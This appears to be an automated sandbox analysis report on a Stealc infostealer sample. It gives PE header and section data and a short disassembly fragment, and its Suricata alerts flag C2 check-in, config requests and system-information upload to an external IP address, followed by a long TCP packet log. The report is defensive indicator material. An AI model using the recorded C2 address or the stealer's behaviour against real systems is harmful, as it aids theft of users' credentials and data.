add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	6d0d9e53f414e2983f2ce84392f7284e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a6000	0x200	2600fd3b025ad946fece5ec858842599	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
umtekkff	0x590000	0x19e000	0x19e000	78dbbdd31fbe07a51435e976526c3ad5	False	0.995196208861715	data	7.955088568290227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sswfraxb	0x72e000	0x1000	0x400	698888217d0f4c29d0e61763f3920c78	False	0.8388671875	data	6.401647201325683	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x72f000	0x3000	0x2200	184d7800d952e6aaacd777de4decd132	False	0.06169577205882353	DOS executable (COM)	0.75813005660059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T02:27:04.676968+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:04.965392+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:04.972328+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T02:27:05.248139+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:05.255306+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T02:27:06.334093+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:07.181119+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:30.370482+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:33.136534+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:34.875821+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:36.024931+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:38.426460+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:38.976407+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 02:27:02.722243071 CET	49675	443	192.168.2.4	173.222.162.32
Oct 30, 2024 02:27:03.419527054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:03.425065994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:03.425168037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:03.425416946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:03.430746078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.332597017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.332722902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.382447004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.387902975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.676840067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.676968098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.677927971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.683307886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.965326071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.965392113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.965408087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:04.965456963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.966952085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:04.972327948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.247893095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.247955084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.247991085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248044014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248079062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248114109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248138905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.248188972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.248193979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248229027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.248251915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.248275995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.249972105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.255306005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.529006004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.529081106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.547967911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.548027992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:05.553654909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.553694963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.553747892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.553776979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.553891897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:05.553921938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:06.333981991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:06.334093094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:06.903750896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:06.909423113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181054115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181078911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181096077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181118965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181142092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181147099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181159019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181185007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181209087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181384087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181432962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181457996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181473970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181497097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181505919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181535959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181551933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.181575060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.181587934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.182363987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.182389021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.182416916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.182440996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333172083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333213091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333249092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333265066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333281994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333331108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333339930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333369017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333374977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333412886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333414078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333456993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333518028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333573103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333601952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333636999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.333657980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333684921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.333995104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.334045887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.334047079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.334084034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.334085941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.334121943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.334131956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.334167004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452236891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452315092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452363014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452393055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452416897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452469110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452503920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452526093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452553034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452555895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452589989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.452605009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.452639103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.453035116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.453068972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.453092098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.453103065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.453120947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.453140974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.453149080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.453177929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.453191996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.453243971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.485651016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.485693932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.485750914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.485773087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571178913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571198940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571218014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571233988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571254969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571302891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571408033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571454048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571461916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571502924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571629047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571662903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571677923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571683884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571703911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571711063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.571737051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.571751118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.572222948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.572249889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.572266102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.572274923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.572299957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.572314024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.572325945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.572371960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.604160070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.604257107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.604388952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691387892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691406965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691421986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691445112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691462040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691467047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691478014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691497087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691513062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691523075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691534996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691560030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691610098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691627979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.691684008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.691694975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.692318916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.692344904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.692377090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.692392111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.723304033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.723344088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.723362923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.723383904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.723413944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809565067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809587955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809616089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809621096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809631109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809638023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809658051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809676886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809716940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809756994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809762955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809777021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.809803009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.809822083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810084105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810144901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810154915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810170889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810210943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810237885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810237885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810256958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810676098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810719967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810724020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810736895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.810766935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.810780048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.842237949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.842289925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.842305899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.842328072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.842339039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.842365980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.842370987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.842410088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.928636074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.928674936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.928703070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.928735971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.928764105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.928791046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.928792953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.928836107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.929060936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.929095030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.929120064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.929130077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:07.929142952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:07.929171085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080552101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080585957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080604076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080614090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080620050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080638885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080648899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080662012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080702066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080708027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080722094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080741882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.080741882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080763102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.080787897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:08.112677097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112708092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112729073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112749100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112770081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112792015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:08.112813950 CET	49730	80	192.168.2.4	185.215.113.206
